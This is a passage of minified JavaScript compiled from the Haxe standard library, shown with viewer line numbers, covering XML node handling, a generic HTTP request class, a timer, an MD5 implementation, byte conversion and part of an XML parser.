h.createElement = function (a) { |
| 6323 |
var b = new h(h.Element); |
| 6324 |
if (b.nodeType != h.Element) |
| 6325 |
throw new p("Bad node type, expected Element but found " + b.nodeType); |
| 6326 |
b.nodeName = a; |
| 6327 |
return b; |
| 6328 |
}; |
| 6329 |
h.createPCData = function (a) { |
| 6330 |
var b = new h(h.PCData); |
| 6331 |
if (b.nodeType == h.Document || b.nodeType == h.Element) |
| 6332 |
throw new p("Bad node type, unexpected " + b.nodeType); |
| 6333 |
b.nodeValue = a; |
| 6334 |
return b; |
| 6335 |
}; |
| 6336 |
h.createCData = function (a) { |
| 6337 |
var b = new h(h.CData); |
| 6338 |
if (b.nodeType == h.Document || b.nodeType == h.Element) |
| 6339 |
throw new p("Bad node type, unexpected " + b.nodeType); |
| 6340 |
b.nodeValue = a; |
| 6341 |
return b; |
| 6342 |
}; |
| 6343 |
h.createComment = function (a) { |
| 6344 |
var b = new h(h.Comment); |
| 6345 |
if (b.nodeType == h.Document || b.nodeType == h.Element) |
| 6346 |
throw new p("Bad node type, unexpected " + b.nodeType); |
| 6347 |
b.nodeValue = a; |
| 6348 |
return b; |
| 6349 |
}; |
| 6350 |
h.createDocType = function (a) { |
| 6351 |
var b = new h(h.DocType); |
| 6352 |
if (b.nodeType == h.Document || b.nodeType == h.Element) |
| 6353 |
throw new p("Bad node type, unexpected " + b.nodeType); |
| 6354 |
b.nodeValue = a; |
| 6355 |
return b; |
| 6356 |
}; |
| 6357 |
h.createProcessingInstruction = function (a) { |
| 6358 |
var b = new h(h.ProcessingInstruction); |
| 6359 |
if (b.nodeType == h.Document || b.nodeType == h.Element) |
| 6360 |
throw new p("Bad node type, unexpected " + b.nodeType); |
| 6361 |
b.nodeValue = a; |
| 6362 |
return b; |
| 6363 |
}; |
| 6364 |
h.createDocument = function () { |
| 6365 |
return new h(h.Document); |
| 6366 |
}; |
| 6367 |
h.prototype = { |
| 6368 |
get: function (a) { |
| 6369 |
if (this.nodeType != h.Element) |
| 6370 |
throw new p( |
| 6371 |
"Bad node type, expected Element but found " + this.nodeType |
| 6372 |
); |
| 6373 |
var b = this.attributeMap; |
| 6374 |
return null != t[a] ? b.getReserved(a) : b.h[a]; |
| 6375 |
}, |
| 6376 |
set: function (a, b) { |
| 6377 |
if (this.nodeType != h.Element) |
| 6378 |
throw new p( |
| 6379 |
"Bad node type, expected Element but found " + this.nodeType |
| 6380 |
); |
| 6381 |
var c = this.attributeMap; |
| 6382 |
null != t[a] ? c.setReserved(a, b) : (c.h[a] = b); |
| 6383 |
}, |
| 6384 |
exists: function (a) { |
| 6385 |
if (this.nodeType != h.Element) |
| 6386 |
throw new p( |
| 6387 |
"Bad node type, expected Element but found " + this.nodeType |
| 6388 |
); |
| 6389 |
var b = this.attributeMap; |
| 6390 |
return null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a); |
| 6391 |
}, |
| 6392 |
attributes: function () { |
| 6393 |
if (this.nodeType != h.Element) |
| 6394 |
throw new p( |
| 6395 |
"Bad node type, expected Element but found " + this.nodeType |
| 6396 |
); |
| 6397 |
return this.attributeMap.keys(); |
| 6398 |
}, |
| 6399 |
elements: function () { |
| 6400 |
if (this.nodeType != h.Document && this.nodeType != h.Element) |
| 6401 |
throw new p( |
| 6402 |
"Bad node type, expected Element or Document but found " + |
| 6403 |
this.nodeType |
| 6404 |
); |
| 6405 |
for (var a = [], b = 0, c = this.children; b < c.length; ) { |
| 6406 |
var g = c[b]; |
| 6407 |
++b; |
| 6408 |
g.nodeType == h.Element && a.push(g); |
| 6409 |
} |
| 6410 |
return r.iter(a); |
| 6411 |
}, |
| 6412 |
elementsNamed: function (a) { |
| 6413 |
if (this.nodeType != h.Document && this.nodeType != h.Element) |
| 6414 |
throw new p( |
| 6415 |
"Bad node type, expected Element or Document but found " + |
| 6416 |
this.nodeType |
| 6417 |
); |
| 6418 |
for (var b = [], c = 0, g = this.children; c < g.length; ) { |
| 6419 |
var d = g[c]; |
| 6420 |
++c; |
| 6421 |
if (d.nodeType == h.Element) { |
| 6422 |
if (d.nodeType != h.Element) |
| 6423 |
throw new p( |
| 6424 |
"Bad node type, expected Element but found " + d.nodeType |
| 6425 |
); |
| 6426 |
var f = d.nodeName == a; |
| 6427 |
} else f = !1; |
| 6428 |
f && b.push(d); |
| 6429 |
} |
| 6430 |
return r.iter(b); |
| 6431 |
}, |
| 6432 |
firstElement: function () { |
| 6433 |
if (this.nodeType != h.Document && this.nodeType != h.Element) |
| 6434 |
throw new p( |
| 6435 |
"Bad node type, expected Element or Document but found " + |
| 6436 |
this.nodeType |
| 6437 |
); |
| 6438 |
for (var a = 0, b = this.children; a < b.length; ) { |
| 6439 |
var c = b[a]; |
| 6440 |
++a; |
| 6441 |
if (c.nodeType == h.Element) return c; |
| 6442 |
} |
| 6443 |
return null; |
| 6444 |
}, |
| 6445 |
addChild: function (a) { |
| 6446 |
if (this.nodeType != h.Document && this.nodeType != h.Element) |
| 6447 |
throw new p( |
| 6448 |
"Bad node type, expected Element or Document but found " + |
| 6449 |
this.nodeType |
| 6450 |
); |
| 6451 |
null != a.parent && a.parent.removeChild(a); |
| 6452 |
this.children.push(a); |
| 6453 |
a.parent = this; |
| 6454 |
}, |
| 6455 |
removeChild: function (a) { |
| 6456 |
if (this.nodeType != h.Document && this.nodeType != h.Element) |
| 6457 |
throw new p( |
| 6458 |
"Bad node type, expected Element or Document but found " + |
| 6459 |
this.nodeType |
| 6460 |
); |
| 6461 |
return r.remove(this.children, a) ? ((a.parent = null), !0) : !1; |
| 6462 |
}, |
| 6463 |
__class__: h, |
| 6464 |
}; |
| 6465 |
var Ha = function () {}; |
| 6466 |
Ha.__name__ = ["haxe", "IMap"]; |
| 6467 |
var T = function (a) { |
| 6468 |
this.url = a; |
| 6469 |
this.headers = new E(); |
| 6470 |
this.params = new E(); |
| 6471 |
this.async = !0; |
| 6472 |
this.withCredentials = !1; |
| 6473 |
}; |
| 6474 |
T.__name__ = ["haxe", "Http"]; |
| 6475 |
T.prototype = { |
| 6476 |
setParameter: function (a, b) { |
| 6477 |
this.params = J.filter(this.params, function (b) { |
| 6478 |
return b.param != a; |
| 6479 |
}); |
| 6480 |
this.params.push({ param: a, value: b }); |
| 6481 |
return this; |
| 6482 |
}, |
| 6483 |
request: function (a) { |
| 6484 |
var b = this; |
| 6485 |
b.responseData = null; |
| 6486 |
var c = (this.req = Ea.createXMLHttpRequest()), |
| 6487 |
g = function (a) { |
| 6488 |
if (4 == c.readyState) { |
| 6489 |
try { |
| 6490 |
var g = c.status; |
| 6491 |
} catch (m) { |
| 6492 |
g = null; |
| 6493 |
} |
| 6494 |
null != g && |
| 6495 |
"undefined" !== typeof window && |
| 6496 |
((a = window.location.protocol.toLowerCase()), |
| 6497 |
new D( |
| 6498 |
"^(?:about|app|app-storage|.+-extension|file|res|widget):$", |
| 6499 |
"" |
| 6500 |
).match(a) && (g = null != c.responseText ? 200 : 404)); |
| 6501 |
void 0 == g && (g = null); |
| 6502 |
if (null != g) b.onStatus(g); |
| 6503 |
if (null != g && 200 <= g && 400 > g) |
| 6504 |
(b.req = null), b.onData((b.responseData = c.responseText)); |
| 6505 |
else if (null == g) |
| 6506 |
(b.req = null), b.onError("Failed to connect or resolve host"); |
| 6507 |
else |
| 6508 |
switch (g) { |
| 6509 |
case 12007: |
| 6510 |
b.req = null; |
| 6511 |
b.onError("Unknown host"); |
| 6512 |
break; |
| 6513 |
case 12029: |
| 6514 |
b.req = null; |
| 6515 |
b.onError("Failed to connect to host"); |
| 6516 |
break; |
| 6517 |
default: |
| 6518 |
(b.req = null), |
| 6519 |
(b.responseData = c.responseText), |
| 6520 |
b.onError("Http Error #" + c.status); |
| 6521 |
} |
| 6522 |
} |
| 6523 |
}; |
| 6524 |
this.async && (c.onreadystatechange = g); |
| 6525 |
var d = this.postData; |
| 6526 |
if (null != d) a = !0; |
| 6527 |
else |
| 6528 |
for (var f = this.params.h; null != f; ) { |
| 6529 |
var e = f.item; |
| 6530 |
f = f.next; |
| 6531 |
d = null == d ? "" : d + "&"; |
| 6532 |
var h = encodeURIComponent(e.param) + "="; |
| 6533 |
d += h + encodeURIComponent(e.value); |
| 6534 |
} |
| 6535 |
try { |
| 6536 |
if (a) c.open("POST", this.url, this.async); |
| 6537 |
else if (null != d) { |
| 6538 |
var n = 1 >= this.url.split("?").length; |
| 6539 |
c.open("GET", this.url + (n ? "?" : "&") + d, this.async); |
| 6540 |
d = null; |
| 6541 |
} else c.open("GET", this.url, this.async); |
| 6542 |
} catch (Aa) { |
| 6543 |
Aa instanceof p && (Aa = Aa.val); |
| 6544 |
b.req = null; |
| 6545 |
this.onError(Aa.toString()); |
| 6546 |
return; |
| 6547 |
} |
| 6548 |
c.withCredentials = this.withCredentials; |
| 6549 |
!J.exists(this.headers, function (a) { |
| 6550 |
return "Content-Type" == a.header; |
| 6551 |
}) && |
| 6552 |
a && |
| 6553 |
null == this.postData && |
| 6554 |
c.setRequestHeader( |
| 6555 |
"Content-Type", |
| 6556 |
"application/x-www-form-urlencoded" |
| 6557 |
); |
| 6558 |
for (a = this.headers.h; null != a; ) |
| 6559 |
(f = a.item), (a = a.next), c.setRequestHeader(f.header, f.value); |
| 6560 |
c.send(d); |
| 6561 |
this.async || g(null); |
| 6562 |
}, |
| 6563 |
onData: function (a) {}, |
| 6564 |
onError: function (a) {}, |
| 6565 |
onStatus: function (a) {}, |
| 6566 |
__class__: T, |
| 6567 |
}; |
| 6568 |
var G = function (a) { |
| 6569 |
var b = this; |
| 6570 |
this.id = setInterval(function () { |
| 6571 |
b.run(); |
| 6572 |
}, a); |
| 6573 |
}; |
| 6574 |
G.__name__ = ["haxe", "Timer"]; |
| 6575 |
G.delay = function (a, b) { |
| 6576 |
var c = new G(b); |
| 6577 |
c.run = function () { |
| 6578 |
c.stop(); |
| 6579 |
a(); |
| 6580 |
}; |
| 6581 |
return c; |
| 6582 |
}; |
| 6583 |
G.prototype = { |
| 6584 |
stop: function () { |
| 6585 |
null != this.id && (clearInterval(this.id), (this.id = null)); |
| 6586 |
}, |
| 6587 |
run: function () {}, |
| 6588 |
__class__: G, |
| 6589 |
}; |
| 6590 |
var O = function () {}; |
| 6591 |
O.__name__ = ["haxe", "crypto", "Md5"]; |
| 6592 |
O.encode = function (a) { |
| 6593 |
var b = new O(); |
| 6594 |
a = b.doEncode(O.str2blks(a)); |
| 6595 |
return b.hex(a); |
| 6596 |
}; |
| 6597 |
O.str2blks = function (a) { |
| 6598 |
var b = U.ofString(a), |
| 6599 |
c = ((b.length + 8) >> 6) + 1; |
| 6600 |
a = []; |
| 6601 |
for (var g = 0, d = 16 * c; g < d; ) { |
| 6602 |
var f = g++; |
| 6603 |
a[f] = 0; |
| 6604 |
} |
| 6605 |
d = 0; |
| 6606 |
f = b.length; |
| 6607 |
for (g = 8 * f; d < f; ) |
| 6608 |
(a[d >> 2] |= b.b[d] << (((g + d) % 4) * 8)), ++d; |
| 6609 |
a[d >> 2] |= 128 << (((g + d) % 4) * 8); |
| 6610 |
b = 16 * c - 2; |
| 6611 |
a[b] = g & 255; |
| 6612 |
a[b] |= ((g >>> 8) & 255) << 8; |
| 6613 |
a[b] |= ((g >>> 16) & 255) << 16; |
| 6614 |
a[b] |= ((g >>> 24) & 255) << 24; |
| 6615 |
return a; |
| 6616 |
}; |
| 6617 |
O.prototype = { |
| 6618 |
bitOR: function (a, b) { |
| 6619 |
return (((a >>> 1) | (b >>> 1)) << 1) | (a & 1) | (b & 1); |
| 6620 |
}, |
| 6621 |
bitXOR: function (a, b) { |
| 6622 |
return (((a >>> 1) ^ (b >>> 1)) << 1) | ((a & 1) ^ (b & 1)); |
| 6623 |
}, |
| 6624 |
bitAND: function (a, b) { |
| 6625 |
return (((a >>> 1) & (b >>> 1)) << 1) | (a & 1 & b & 1); |
| 6626 |
}, |
| 6627 |
addme: function (a, b) { |
| 6628 |
var c = (a & 65535) + (b & 65535); |
| 6629 |
return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (c & 65535); |
| 6630 |
}, |
| 6631 |
hex: function (a) { |
| 6632 |
for (var b = "", c = 0; c < a.length; ) { |
| 6633 |
var g = a[c]; |
| 6634 |
++c; |
| 6635 |
for (var d = 0; 4 > d; ) { |
| 6636 |
var f = d++; |
| 6637 |
b += |
| 6638 |
"0123456789abcdef".charAt((g >> (8 * f + 4)) & 15) + |
| 6639 |
"0123456789abcdef".charAt((g >> (8 * f)) & 15); |
| 6640 |
} |
| 6641 |
} |
| 6642 |
return b; |
| 6643 |
}, |
| 6644 |
rol: function (a, b) { |
| 6645 |
return (a << b) | (a >>> (32 - b)); |
| 6646 |
}, |
| 6647 |
cmn: function (a, b, c, g, d, f) { |
| 6648 |
return this.addme( |
| 6649 |
this.rol(this.addme(this.addme(b, a), this.addme(g, f)), d), |
| 6650 |
c |
| 6651 |
); |
| 6652 |
}, |
| 6653 |
ff: function (a, b, c, g, d, f, e) { |
| 6654 |
return this.cmn( |
| 6655 |
this.bitOR(this.bitAND(b, c), this.bitAND(~b, g)), |
| 6656 |
a, |
| 6657 |
b, |
| 6658 |
d, |
| 6659 |
f, |
| 6660 |
e |
| 6661 |
); |
| 6662 |
}, |
| 6663 |
gg: function (a, b, c, g, d, f, e) { |
| 6664 |
return this.cmn( |
| 6665 |
this.bitOR(this.bitAND(b, g), this.bitAND(c, ~g)), |
| 6666 |
a, |
| 6667 |
b, |
| 6668 |
d, |
| 6669 |
f, |
| 6670 |
e |
| 6671 |
); |
| 6672 |
}, |
| 6673 |
hh: function (a, b, c, g, d, f, e) { |
| 6674 |
return this.cmn(this.bitXOR(this.bitXOR(b, c), g), a, b, d, f, e); |
| 6675 |
}, |
| 6676 |
ii: function (a, b, c, g, d, f, e) { |
| 6677 |
return this.cmn(this.bitXOR(c, this.bitOR(b, ~g)), a, b, d, f, e); |
| 6678 |
}, |
| 6679 |
doEncode: function (a) { |
| 6680 |
for ( |
| 6681 |
var b = 1732584193, |
| 6682 |
c = -271733879, |
| 6683 |
g = -1732584194, |
| 6684 |
d = 271733878, |
| 6685 |
f = 0; |
| 6686 |
f < a.length; |
| 6687 |
|
| 6688 |
) { |
| 6689 |
var e = b, |
| 6690 |
h = c, |
| 6691 |
n = g, |
| 6692 |
k = d; |
| 6693 |
b = this.ff(b, c, g, d, a[f], 7, -680876936); |
| 6694 |
d = this.ff(d, b, c, g, a[f + 1], 12, -389564586); |
| 6695 |
g = this.ff(g, d, b, c, a[f + 2], 17, 606105819); |
| 6696 |
c = this.ff(c, g, d, b, a[f + 3], 22, -1044525330); |
| 6697 |
b = this.ff(b, c, g, d, a[f + 4], 7, -176418897); |
| 6698 |
d = this.ff(d, b, c, g, a[f + 5], 12, 1200080426); |
| 6699 |
g = this.ff(g, d, b, c, a[f + 6], 17, -1473231341); |
| 6700 |
c = this.ff(c, g, d, b, a[f + 7], 22, -45705983); |
| 6701 |
b = this.ff(b, c, g, d, a[f + 8], 7, 1770035416); |
| 6702 |
d = this.ff(d, b, c, g, a[f + 9], 12, -1958414417); |
| 6703 |
g = this.ff(g, d, b, c, a[f + 10], 17, -42063); |
| 6704 |
c = this.ff(c, g, d, b, a[f + 11], 22, -1990404162); |
| 6705 |
b = this.ff(b, c, g, d, a[f + 12], 7, 1804603682); |
| 6706 |
d = this.ff(d, b, c, g, a[f + 13], 12, -40341101); |
| 6707 |
g = this.ff(g, d, b, c, a[f + 14], 17, -1502002290); |
| 6708 |
c = this.ff(c, g, d, b, a[f + 15], 22, 1236535329); |
| 6709 |
b = this.gg(b, c, g, d, a[f + 1], 5, -165796510); |
| 6710 |
d = this.gg(d, b, c, g, a[f + 6], 9, -1069501632); |
| 6711 |
g = this.gg(g, d, b, c, a[f + 11], 14, 643717713); |
| 6712 |
c = this.gg(c, g, d, b, a[f], 20, -373897302); |
| 6713 |
b = this.gg(b, c, g, d, a[f + 5], 5, -701558691); |
| 6714 |
d = this.gg(d, b, c, g, a[f + 10], 9, 38016083); |
| 6715 |
g = this.gg(g, d, b, c, a[f + 15], 14, -660478335); |
| 6716 |
c = this.gg(c, g, d, b, a[f + 4], 20, -405537848); |
| 6717 |
b = this.gg(b, c, g, d, a[f + 9], 5, 568446438); |
| 6718 |
d = this.gg(d, b, c, g, a[f + 14], 9, -1019803690); |
| 6719 |
g = this.gg(g, d, b, c, a[f + 3], 14, -187363961); |
| 6720 |
c = this.gg(c, g, d, b, a[f + 8], 20, 1163531501); |
| 6721 |
b = this.gg(b, c, g, d, a[f + 13], 5, -1444681467); |
| 6722 |
d = this.gg(d, b, c, g, a[f + 2], 9, -51403784); |
| 6723 |
g = this.gg(g, d, b, c, a[f + 7], 14, 1735328473); |
| 6724 |
c = this.gg(c, g, d, b, a[f + 12], 20, -1926607734); |
| 6725 |
b = this.hh(b, c, g, d, a[f + 5], 4, -378558); |
| 6726 |
d = this.hh(d, b, c, g, a[f + 8], 11, -2022574463); |
| 6727 |
g = this.hh(g, d, b, c, a[f + 11], 16, 1839030562); |
| 6728 |
c = this.hh(c, g, d, b, a[f + 14], 23, -35309556); |
| 6729 |
b = this.hh(b, c, g, d, a[f + 1], 4, -1530992060); |
| 6730 |
d = this.hh(d, b, c, g, a[f + 4], 11, 1272893353); |
| 6731 |
g = this.hh(g, d, b, c, a[f + 7], 16, -155497632); |
| 6732 |
c = this.hh(c, g, d, b, a[f + 10], 23, -1094730640); |
| 6733 |
b = this.hh(b, c, g, d, a[f + 13], 4, 681279174); |
| 6734 |
d = this.hh(d, b, c, g, a[f], 11, -358537222); |
| 6735 |
g = this.hh(g, d, b, c, a[f + 3], 16, -722521979); |
| 6736 |
c = this.hh(c, g, d, b, a[f + 6], 23, 76029189); |
| 6737 |
b = this.hh(b, c, g, d, a[f + 9], 4, -640364487); |
| 6738 |
d = this.hh(d, b, c, g, a[f + 12], 11, -421815835); |
| 6739 |
g = this.hh(g, d, b, c, a[f + 15], 16, 530742520); |
| 6740 |
c = this.hh(c, g, d, b, a[f + 2], 23, -995338651); |
| 6741 |
b = this.ii(b, c, g, d, a[f], 6, -198630844); |
| 6742 |
d = this.ii(d, b, c, g, a[f + 7], 10, 1126891415); |
| 6743 |
g = this.ii(g, d, b, c, a[f + 14], 15, -1416354905); |
| 6744 |
c = this.ii(c, g, d, b, a[f + 5], 21, -57434055); |
| 6745 |
b = this.ii(b, c, g, d, a[f + 12], 6, 1700485571); |
| 6746 |
d = this.ii(d, b, c, g, a[f + 3], 10, -1894986606); |
| 6747 |
g = this.ii(g, d, b, c, a[f + 10], 15, -1051523); |
| 6748 |
c = this.ii(c, g, d, b, a[f + 1], 21, -2054922799); |
| 6749 |
b = this.ii(b, c, g, d, a[f + 8], 6, 1873313359); |
| 6750 |
d = this.ii(d, b, c, g, a[f + 15], 10, -30611744); |
| 6751 |
g = this.ii(g, d, b, c, a[f + 6], 15, -1560198380); |
| 6752 |
c = this.ii(c, g, d, b, a[f + 13], 21, 1309151649); |
| 6753 |
b = this.ii(b, c, g, d, a[f + 4], 6, -145523070); |
| 6754 |
d = this.ii(d, b, c, g, a[f + 11], 10, -1120210379); |
| 6755 |
g = this.ii(g, d, b, c, a[f + 2], 15, 718787259); |
| 6756 |
c = this.ii(c, g, d, b, a[f + 9], 21, -343485551); |
| 6757 |
b = this.addme(b, e); |
| 6758 |
c = this.addme(c, h); |
| 6759 |
g = this.addme(g, n); |
| 6760 |
d = this.addme(d, k); |
| 6761 |
f += 16; |
| 6762 |
} |
| 6763 |
return [b, c, g, d]; |
| 6764 |
}, |
| 6765 |
__class__: O, |
| 6766 |
}; |
| 6767 |
var v = function () { |
| 6768 |
this.h = {}; |
| 6769 |
}; |
| 6770 |
v.__name__ = ["haxe", "ds", "StringMap"]; |
| 6771 |
v.__interfaces__ = [Ha]; |
| 6772 |
v.prototype = { |
| 6773 |
setReserved: function (a, b) { |
| 6774 |
null == this.rh && (this.rh = {}); |
| 6775 |
this.rh["$" + a] = b; |
| 6776 |
}, |
| 6777 |
getReserved: function (a) { |
| 6778 |
return null == this.rh ? null : this.rh["$" + a]; |
| 6779 |
}, |
| 6780 |
existsReserved: function (a) { |
| 6781 |
return null == this.rh ? !1 : this.rh.hasOwnProperty("$" + a); |
| 6782 |
}, |
| 6783 |
keys: function () { |
| 6784 |
return r.iter(this.arrayKeys()); |
| 6785 |
}, |
| 6786 |
arrayKeys: function () { |
| 6787 |
var a = [], |
| 6788 |
b; |
| 6789 |
for (b in this.h) this.h.hasOwnProperty(b) && a.push(b); |
| 6790 |
if (null != this.rh) |
| 6791 |
for (b in this.rh) 36 == b.charCodeAt(0) && a.push(b.substr(1)); |
| 6792 |
return a; |
| 6793 |
}, |
| 6794 |
__class__: v, |
| 6795 |
}; |
| 6796 |
var U = function (a) { |
| 6797 |
this.length = a.byteLength; |
| 6798 |
this.b = new Ba(a); |
| 6799 |
this.b.bufferValue = a; |
| 6800 |
a.hxBytes = this; |
| 6801 |
a.bytes = this.b; |
| 6802 |
}; |
| 6803 |
U.__name__ = ["haxe", "io", "Bytes"]; |
| 6804 |
U.ofString = function (a) { |
| 6805 |
for (var b = [], c = 0; c < a.length; ) { |
| 6806 |
var d = a.charCodeAt(c++); |
| 6807 |
55296 <= d && |
| 6808 |
56319 >= d && |
| 6809 |
(d = ((d - 55232) << 10) | (a.charCodeAt(c++) & 1023)); |
| 6810 |
127 >= d |
| 6811 |
? b.push(d) |
| 6812 |
: (2047 >= d |
| 6813 |
? b.push(192 | (d >> 6)) |
| 6814 |
: (65535 >= d |
| 6815 |
? b.push(224 | (d >> 12)) |
| 6816 |
: (b.push(240 | (d >> 18)), b.push(128 | ((d >> 12) & 63))), |
| 6817 |
b.push(128 | ((d >> 6) & 63))), |
| 6818 |
b.push(128 | (d & 63))); |
| 6819 |
} |
| 6820 |
return new U(new Ba(b).buffer); |
| 6821 |
}; |
| 6822 |
U.prototype = { __class__: U }; |
| 6823 |
var A = function (a, b, c) { |
| 6824 |
this.xml = b; |
| 6825 |
this.message = a; |
| 6826 |
this.position = c; |
| 6827 |
this.lineNumber = 1; |
| 6828 |
for (a = this.positionAtLine = 0; a < c; ) { |
| 6829 |
var d = a++; |
| 6830 |
d = b.charCodeAt(d); |
| 6831 |
10 == d |
| 6832 |
? (this.lineNumber++, (this.positionAtLine = 0)) |
| 6833 |
: 13 != d && this.positionAtLine++; |
| 6834 |
} |
| 6835 |
}; |
| 6836 |
A.__name__ = ["haxe", "xml", "XmlParserException"]; |
| 6837 |
A.prototype = { |
| 6838 |
toString: function () { |
| 6839 |
return ( |
| 6840 |
Da.getClassName(x.getClass(this)) + |
| 6841 |
": " + |
| 6842 |
this.message + |
| 6843 |
" at line " + |
| 6844 |
this.lineNumber + |
| 6845 |
" char " + |
| 6846 |
this.positionAtLine |
| 6847 |
); |
| 6848 |
}, |
| 6849 |
__class__: A, |
| 6850 |
}; |
| 6851 |
var L = function () {}; |
| 6852 |
L.__name__ = ["haxe", "xml", "Parser"]; |
| 6853 |
L.parse = function (a, b) { |
| 6854 |
null == b && (b = !1); |
| 6855 |
var c = h.createDocument(); |
| 6856 |
L.doParse(a, b, 0, c); |
| 6857 |
return c; |
| 6858 |
}; |
| 6859 |
L.doParse = function (a, b, c, d) { |
| 6860 |
null == c && (c = 0); |
| 6861 |
for ( |
| 6862 |
var g = null, |
| 6863 |
f = 1, |
| 6864 |
e = 1, |
| 6865 |
k = null, |
| 6866 |
n = 0, |
| 6867 |
w = 0, |
| 6868 |
u = 0, |
| 6869 |
m = a.charCodeAt(c), |
| 6870 |
l = new N(), |
| 6871 |
q = 1, |
| 6872 |
v = -1; |
| 6873 |
m == m; |
| 6874 |
|
| 6875 |
) { |
| 6876 |
switch (f) { |
| 6877 |
case 0: |
| 6878 |
switch (m) { |
| 6879 |
case 9: |
| 6880 |
case 10: |
| 6881 |
case 13: |
| 6882 |
case 32: |
| 6883 |
break; |
| 6884 |
default: |
| 6885 |
f = e; |
| 6886 |
continue; |
| 6887 |
} |
| 6888 |
break; |
| 6889 |
case 1: |
| 6890 |
if (60 == m) (f = 0), (e = 2); |
| 6891 |
else { |
| 6892 |
n = c; |
| 6893 |
f = 13; |
| 6894 |
continue; |
| 6895 |
} |
| 6896 |
break; |
| 6897 |
case 2: |
| 6898 |
switch (m) { |
| 6899 |
case 33: |
| 6900 |
if (91 == a.charCodeAt(c + 1)) { |
| 6901 |
c += 2; |
| 6902 |
if ("CDATA[" != r.substr(a, c, 6).toUpperCase()) |
| 6903 |
throw new p(new A("Expected <![CDATA[", a, c)); |
| 6904 |
c += 5; |
| 6905 |
f = 17; |
| 6906 |
} else if ( |
| 6907 |
68 == a.charCodeAt(c + 1) || |
| 6908 |
100 == a.charCodeAt(c + 1) |
| 6909 |
) { |
| 6910 |
if ("OCTYPE" != r.substr(a, c + 2, 6).toUpperCase()) |
| 6911 |
throw new p(new A("Expected <!DOCTYPE", a, c)); |
| 6912 |
c += 8; |
| 6913 |
f = 16; |
| 6914 |
} else { |
| 6915 |
if (45 != a.charCodeAt(c + 1) || 45 != a.charCodeAt(c + 2)) |
| 6916 |
throw new p(new A("Expected \x3c!--", a, c)); |
| 6917 |
c += 2; |
| 6918 |
f = 15; |
| 6919 |
} |
| 6920 |
n = c + 1; |
| 6921 |
break; |
| 6922 |
case 47: |
| 6923 |
if (null == d) throw new p(new A("Expected node name", a, c)); |
| 6924 |
n = c + 1; |
| 6925 |
f = 0; |
| 6926 |
e = 10; |
| 6927 |
break; |
| 6928 |
case 63: |
| 6929 |
f = 14; |
| 6930 |
n = c; |
| 6931 |
break; |
| 6932 |
default: |
| 6933 |
f = 3; |
| 6934 |
n = c; |
| 6935 |
continue; |
| 6936 |
} |
| 6937 |
break; |
| 6938 |
case 3: |
| 6939 |
if ( |
| 6940 |
!( |
| 6941 |
(97 <= m && 122 >= m) || |
| 6942 |
(65 <= m && 90 >= m) || |
| 6943 |
(48 <= m && 57 >= m) || |
| 6944 |
58 == m || |
| 6945 |
46 == m || |
| 6946 |
95 == m || |
| 6947 |
45 == m |
| 6948 |
) |
| 6949 |
) { |
| 6950 |
if (c == n) throw new p(new A("Expected node name", a, c)); |
| 6951 |
g = h.createElement(r.substr(a, n, c - n)); |
| 6952 |
d.addChild(g); |
| 6953 |
++w; |
| 6954 |
f = 0; |
| 6955 |
e = 4; |
| 6956 |
continue; |
| 6957 |
} |
| 6958 |
break; |
| 6959 |
case 4: |
| 6960 |
switch (m) { |
| 6961 |
case 47: |
| 6962 |
f = 11; |
| 6963 |
break; |
| 6964 |
case 62: |
| 6965 |
f = 9; |
| 6966 |
break; |
| 6967 |
default: |
| 6968 |
f = 5; |
| 6969 |
n = c; |
| 6970 |
continue; |
| 6971 |
} |
| 6972 |
break; |
| 6973 |
case 5: |
| 6974 |
if ( |
| 6975 |
!( |
| 6976 |
(97 <= m && 122 >= m) || |
| 6977 |
(65 <= m && 90 >= m) || |
| 6978 |
(48 <= m && 57 >= m) || |
| 6979 |
58 == m || |
| 6980 |
46 == m || |
| 6981 |
95 == m || |
| 6982 |
45 == m |
| 6983 |
) |
| 6984 |
) { |
| 6985 |
if (n == c) throw new p(new A("Expected attribute name", a, c)); |
| 6986 |
k = r.substr(a, n, c - n); |
| 6987 |
if (g.exists(k)) |
| 6988 |
throw new p(new A("Duplicate attribute [" + k + "]", a, c)); |
| 6989 |
f = 0; |
| 6990 |
e = 6; |
| 6991 |
continue; |
| 6992 |
} |
| 6993 |
break; |
| 6994 |
case 6: |
| 6995 |
if (61 == m) (f = 0), (e = 7); |
| 6996 |
else throw new p(new A("Expected =", a, c)); |
| 6997 |
break; |
| 6998 |
case 7: |
| 6999 |
switch (m) { |
| 7000 |
case 34: |
| 7001 |
case 39: |
| 7002 |
l = new N(); |
| 7003 |
f = 8; |
| 7004 |
n = c + 1; |
| 7005 |
v = m; |
| 7006 |
break; |
| 7007 |
default: |
| 7008 |
throw new p(new A('Expected "', a, c)); |
| 7009 |
} |
| 7010 |
break; |
| 7011 |
case 8: |
| 7012 |
switch (m) { |
| 7013 |
case 38: |
| 7014 |
q = c - n; |
| 7015 |
l.b += null == q ? r.substr(a, n, null) : r.substr(a, n, q); |
| 7016 |
f = 18; |
| 7017 |
q = 8; |
| 7018 |
n = c + 1; |
| 7019 |
break; |
| 7020 |
case 60: |
| 7021 |
case 62: |
| 7022 |
if (b) |
| 7023 |
throw new p( |
| 7024 |
new A( |
| 7025 |
"Invalid unescaped " + |
| 7026 |
String.fromCharCode(m) + |
| 7027 |
" in attribute value", |
| 7028 |
a, |
| 7029 |
c |
| 7030 |
) |
| 7031 |
); |
| 7032 |
m == v && |
| 7033 |
((e = c - n), |
| 7034 |
(l.b += null == e ? r.substr(a, n, null) : r.substr(a, n, e)), |
| 7035 |
(e = l.b), |
| 7036 |
(l = new N()), |
| 7037 |
g.set(k, e), |
| 7038 |
(f = 0), |
| 7039 |
(e = 4)); |
| 7040 |
break; |
| 7041 |
default: |
| 7042 |
m == v && |
| 7043 |
((e = c - n), |
| 7044 |
(l.b += null == e ? r.substr(a, n, null) : r.substr(a, n, e)), |
| 7045 |
(e = l.b), |
| 7046 |
(l = new N()), |
| 7047 |
g.set(k, e), |
| 7048 |
(f = 0), |
| 7049 |
(e = 4)); |
| 7050 |
} |
| 7051 |
break; |
| 7052 |
case 9: |
| 7053 |
n = c = L.doParse(a, b, c, g); |
| 7054 |
f = 1; |
| 7055 |
break; |
| 7056 |
case 10: |
| 7057 |
if ( |
| 7058 |
!( |
| 7059 |
(97 <= m && 122 >= m) || |
| 7060 |
(65 <= m && 90 >= m) || |
| 7061 |
(48 <= m && 57 >= m) || |
| 7062 |
58 == m || |
| 7063 |
46 == m || |
| 7064 |
95 == m || |
| 7065 |
45 == m |
